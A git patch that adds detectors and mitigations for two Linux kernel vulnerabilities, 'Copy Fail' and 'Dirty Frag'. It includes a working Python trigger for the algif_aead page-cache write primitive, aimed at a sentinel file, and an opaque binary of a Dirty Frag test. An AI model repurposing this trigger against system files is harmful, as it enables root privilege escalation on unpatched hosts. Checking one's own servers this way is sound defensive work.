From 9cbdb03ff61fff094385c37338227ae8ee0059fc Mon Sep 17 00:00:00 2001 From: Michael Elkerton Date: Thu, 21 May 2026 13:21:55 -0600 Subject: [PATCH] init --- cve-2026-31431-copy-fail/readme.md | 29 + .../utils/patch_cve_2026_31431.sh | 4 + .../utils/test_cve_2026_31431.py | 211 ++ dirty-frag-2026/readme.md | 8 + dirty-frag-2026/utils/Makefile | 2 + dirty-frag-2026/utils/dirtyfrag.conf | 4 + .../utils/patch_dirty_frag_2026.sh | 6 + dirty-frag-2026/utils/test_dirty_frag_2026 | Bin 0 -> 58784 bytes dirty-frag-2026/utils/test_dirty_frag_2026.c | 1951 +++++++++++++++++ exploit-tests.tar.gz | Bin 0 -> 46047 bytes exploit-tests/Makefile | 2 + exploit-tests/test_cve_2026_31431.py | 211 ++ exploit-tests/test_dirty_frag_2026 | Bin 0 -> 58784 bytes exploit-tests/test_dirty_frag_2026.c | 1951 +++++++++++++++++ readme.md | 2 + 15 files changed, 4381 insertions(+) create mode 100644 cve-2026-31431-copy-fail/readme.md create mode 100755 cve-2026-31431-copy-fail/utils/patch_cve_2026_31431.sh create mode 100755 cve-2026-31431-copy-fail/utils/test_cve_2026_31431.py create mode 100644 dirty-frag-2026/readme.md create mode 100644 dirty-frag-2026/utils/Makefile create mode 100644 dirty-frag-2026/utils/dirtyfrag.conf create mode 100755 dirty-frag-2026/utils/patch_dirty_frag_2026.sh create mode 100755 dirty-frag-2026/utils/test_dirty_frag_2026 create mode 100644 dirty-frag-2026/utils/test_dirty_frag_2026.c create mode 100644 exploit-tests.tar.gz create mode 100644 exploit-tests/Makefile create mode 100755 exploit-tests/test_cve_2026_31431.py create mode 100755 exploit-tests/test_dirty_frag_2026 create mode 100644 exploit-tests/test_dirty_frag_2026.c create mode 100644 readme.md diff --git a/cve-2026-31431-copy-fail/readme.md b/cve-2026-31431-copy-fail/readme.md new file mode 100644 index 0000000..c89b333 --- /dev/null +++ b/cve-2026-31431-copy-fail/readme.md @@ -0,0 +1,29 @@ +# Copy Fail 2026-04-30 melkerton +- https://cybersecuritynews.com/linux-kernel-0-day-copy-fail/ + +## Test script source +- https://github.com/rootsecdev/cve_2026_31431 + +## Check mod is loaded +``` +lsmod | grep algif_aead +``` + +## Temp fix if found +- https://cmms.pwgroup.ca/files/utils_cve_2026_31431.tar +``` +bashecho "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf +rmmod algif_aead 2>/dev/null +``` + +### Verfied servers (mod unused) +- cavall +- cerberus +- grackle +- hydra +- mail1 +- mrp-pve +- pwr-it +- pwr-pve +- starling + diff --git a/cve-2026-31431-copy-fail/utils/patch_cve_2026_31431.sh b/cve-2026-31431-copy-fail/utils/patch_cve_2026_31431.sh new file mode 100755 index 0000000..ee61580 --- /dev/null +++ b/cve-2026-31431-copy-fail/utils/patch_cve_2026_31431.sh @@ -0,0 +1,4 @@ +#!/bin/sh + +echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif-aead.conf +sudo rmmod algif_aead diff --git a/cve-2026-31431-copy-fail/utils/test_cve_2026_31431.py b/cve-2026-31431-copy-fail/utils/test_cve_2026_31431.py new file mode 100755 index 0000000..261ec0a --- /dev/null +++ b/cve-2026-31431-copy-fail/utils/test_cve_2026_31431.py @@ -0,0 +1,211 @@ +#!/usr/bin/env python3 +# CVE-2026-31431 ("Copy Fail") vulnerability detector. +# +# Attempts to trigger the algif_aead / authencesn page-cache scratch-write +# primitive against a user-owned sentinel file in a temp directory. If the +# scratch write lands inside the spliced page-cache page, the file's contents +# (as observed via a fresh read) will contain the marker bytes. +# +# SAFE BY DESIGN +# * Operates on a sentinel file the running user just created. /usr/bin/su +# and other system binaries are NOT touched. +# * Page-cache corruption is in-memory only; nothing is written back to disk. +# * Exit 0 = NOT vulnerable, 2 = VULNERABLE, 1 = test error. +# +# Use only on hosts you own or are explicitly authorized to test. + +import errno +import os +import socket +import struct +import sys +import tempfile + +AF_ALG = 38 +SOL_ALG = 279 +ALG_SET_KEY = 1 +ALG_SET_IV = 2 +ALG_SET_OP = 3 +ALG_SET_AEAD_ASSOCLEN = 4 +ALG_OP_DECRYPT = 0 +CRYPTO_AUTHENC_KEYA_PARAM = 1 # rtattr type from + +ALG_NAME = "authencesn(hmac(sha256),cbc(aes))" +PAGE = 4096 +ASSOCLEN = 8 # SPI(4) || seqno_lo(4) +CRYPTLEN = 16 # one AES block +TAGLEN = 16 # truncated HMAC-SHA256 +MARKER = b"PWND" + + +def build_authenc_keyblob(authkey: bytes, enckey: bytes) -> bytes: + # struct rtattr { u16 rta_len; u16 rta_type } || __be32 enckeylen || keys + rtattr = struct.pack("HH", 8, CRYPTO_AUTHENC_KEYA_PARAM) + keyparam = struct.pack(">I", len(enckey)) + return rtattr + keyparam + authkey + enckey + + +def precheck() -> str | None: + if not os.path.exists("/proc/crypto"): + return "/proc/crypto missing" + try: + socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0).close() + except OSError as e: + return f"AF_ALG socket family unavailable ({e.strerror})" + try: + s = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0) + s.bind(("aead", ALG_NAME)) + s.close() + except OSError as e: + return f"{ALG_NAME!r} cannot be instantiated ({e.strerror})" + return None + + +def attempt_trigger(target_path: str) -> tuple[bool, bytes]: + sentinel = (b"COPYFAIL-SENTINEL-UNCORRUPTED!!\n" * (PAGE // 32))[:PAGE] + with open(target_path, "wb") as f: + f.write(sentinel) + + # Populate page cache. + fd_target = os.open(target_path, os.O_RDONLY) + os.read(fd_target, PAGE) + os.lseek(fd_target, 0, os.SEEK_SET) + + # Master socket: bind + key. + master = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0) + master.bind(("aead", ALG_NAME)) + master.setsockopt( + SOL_ALG, ALG_SET_KEY, + build_authenc_keyblob(b"\x00" * 32, b"\x00" * 16), + ) + op, _ = master.accept() + + # Per-op parameters travel as control messages on sendmsg, not setsockopt. + # AAD bytes 4..7 are seqno_lo - the value the buggy scratch-write copies + # into dst[assoclen + cryptlen]. We pick MARKER so corruption is obvious. + aad = b"\x00" * 4 + MARKER + cmsg = [ + (SOL_ALG, ALG_SET_OP, struct.pack("I", ALG_OP_DECRYPT)), + (SOL_ALG, ALG_SET_IV, struct.pack("I", 16) + b"\x00" * 16), + (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", ASSOCLEN)), + ] + op.sendmsg([aad], cmsg, socket.MSG_MORE) + + # Splice CRYPTLEN+TAGLEN bytes of the target's page-cache page into the + # op socket. Because algif_aead runs in-place (req->dst = req->src), those + # page-cache pages now sit in the destination scatterlist. + pr, pw = os.pipe() + try: + n = os.splice(fd_target, pw, CRYPTLEN + TAGLEN, offset_src=0) + if n != CRYPTLEN + TAGLEN: + raise RuntimeError(f"splice file->pipe short: {n}") + n = os.splice(pr, op.fileno(), n) + if n != CRYPTLEN + TAGLEN: + raise RuntimeError(f"splice pipe->op short: {n}") + except OSError as e: + os.close(pr); os.close(pw) + op.close(); master.close(); os.close(fd_target) + if e.errno in (errno.EOPNOTSUPP, errno.ENOTSUP): + raise RuntimeError( + "splice into AF_ALG socket not supported on this kernel - " + "the page-cache attack vector is not reachable here" + ) from e + raise + + # Drive the algorithm. Auth check will fail (we sent zero ciphertext+tag); + # EBADMSG is fine - the scratch write fires before/independent of verify. + try: + op.recv(ASSOCLEN + CRYPTLEN + TAGLEN) + except OSError as e: + if e.errno not in (errno.EBADMSG, errno.EINVAL): + raise + + op.close() + master.close() + os.close(pr) + os.close(pw) + + # Read back via the existing fd (page cache, not disk). + os.lseek(fd_target, 0, os.SEEK_SET) + after = os.read(fd_target, PAGE) + os.close(fd_target) + + return after, sentinel + + +def kernel_in_affected_line() -> bool: + # Per the disclosure, fixes landed on the 6.12, 6.17 and 6.18 stable lines. + rel = os.uname().release.split("-")[0] + parts = rel.split(".") + try: + major, minor = int(parts[0]), int(parts[1]) + except (ValueError, IndexError): + return False + return (major, minor) >= (6, 12) + + +def main() -> int: + print(f"[*] CVE-2026-31431 detector kernel={os.uname().release} " + f"arch={os.uname().machine}") + if not kernel_in_affected_line(): + print(f"[i] Kernel {os.uname().release} predates the affected " + f"6.12/6.17/6.18 lines; trigger may not apply even if " + f"prerequisites match.") + + reason = precheck() + if reason: + print(f"[+] Precondition not met ({reason}). NOT vulnerable.") + return 0 + print(f"[+] AF_ALG + {ALG_NAME!r} loadable - precondition met.") + + tmp = tempfile.mkdtemp(prefix="copyfail-") + target = os.path.join(tmp, "sentinel.bin") + try: + after, sentinel = attempt_trigger(target) + except Exception as e: + print(f"[!] Trigger failed: {type(e).__name__}: {e}") + return 1 + finally: + try: + os.remove(target) + os.rmdir(tmp) + except OSError: + pass + + # The exact landing offset of the 4-byte scratch write depends on how + # the source/destination scatterlists are laid out by algif_aead for this + # combination of inline-AAD + spliced-page input. What's invariant is that + # the 4 bytes from AAD seqno_lo (our marker) appear somewhere in the page, + # AND the marker is not present in the original sentinel. + marker_off = after.find(MARKER) + marker_orig = sentinel.find(MARKER) + diffs = [i for i in range(PAGE) if after[i] != sentinel[i]] + + if marker_off >= 0 and marker_orig < 0: + ctx = after[max(marker_off - 4, 0):marker_off + 12] + print(f"[!] VULNERABLE to CVE-2026-31431.") + print(f"[!] Marker {MARKER!r} (AAD seqno_lo) landed in the spliced " + f"page-cache page at offset {marker_off}.") + print(f"[!] Surrounding bytes: {ctx.hex()} ({ctx!r})") + print(f"[!] Apply the upstream fix or block algif_aead immediately.") + return 2 + + if diffs: + first = diffs[0] + window = after[first:first + 16] + print(f"[!] Page cache MODIFIED via in-place AEAD splice path " + f"({len(diffs)} bytes changed, first at offset {first}).") + print(f"[!] Window: {window.hex()}") + print(f"[!] The controllable scratch-write marker did not land, but " + f"the kernel still allowed a page-cache page into the writable " + f"AEAD destination scatterlist.") + print(f"[!] Treat as VULNERABLE to the underlying bug class until " + f"a patched kernel is installed.") + return 2 + + print("[+] Page cache intact. NOT vulnerable on this kernel.") + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/dirty-frag-2026/readme.md b/dirty-frag-2026/readme.md new file mode 100644 index 0000000..ed197ec --- /dev/null +++ b/dirty-frag-2026/readme.md @@ -0,0 +1,8 @@ +# Dirty Frag 2026-05-08 melkerton +- https://www.tomshardware.com/tech-industry/cyber-security/dirty-frag-exploit-gets-root-on-most-linux-machines-since-2017-no-patches-available-no-warning-given-copy-fail-like-vulnerability-had-its-embargo-broken + +## Test script source +- https://github.com/V4bel/dirtyfrag + +### test_dirty_frag_2026 +- built on recent kernel initrd.img-6.12.85+deb13-amd64, may not exec on older systems diff --git a/dirty-frag-2026/utils/Makefile b/dirty-frag-2026/utils/Makefile new file mode 100644 index 0000000..c618ba4 --- /dev/null +++ b/dirty-frag-2026/utils/Makefile @@ -0,0 +1,2 @@ +build: + gcc -O0 -Wall -o test_dirty_frag_2026 test_dirty_frag_2026.c -lutil diff --git a/dirty-frag-2026/utils/dirtyfrag.conf b/dirty-frag-2026/utils/dirtyfrag.conf new file mode 100644 index 0000000..035351b --- /dev/null +++ b/dirty-frag-2026/utils/dirtyfrag.conf @@ -0,0 +1,4 @@ +install esp4 /bin/false +install esp6 /bin/false +install rxrpc /bin/false + diff --git a/dirty-frag-2026/utils/patch_dirty_frag_2026.sh b/dirty-frag-2026/utils/patch_dirty_frag_2026.sh new file mode 100755 index 0000000..6367b9f --- /dev/null +++ b/dirty-frag-2026/utils/patch_dirty_frag_2026.sh @@ -0,0 +1,6 @@ +#!/bin/sh + +sudo cp dirtyfrag.conf /etc/modprobe.d/ +sudo rmmod esp4 esp6 rxrpc +echo 3 | sudo tee /proc/sys/vm/drop_caches + diff --git a/dirty-frag-2026/utils/test_dirty_frag_2026 b/dirty-frag-2026/utils/test_dirty_frag_2026 new file mode 100755 index 0000000000000000000000000000000000000000..d938f94fc86f70acfbfeb43c420b014a32a94e22 GIT binary patch literal 58784 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 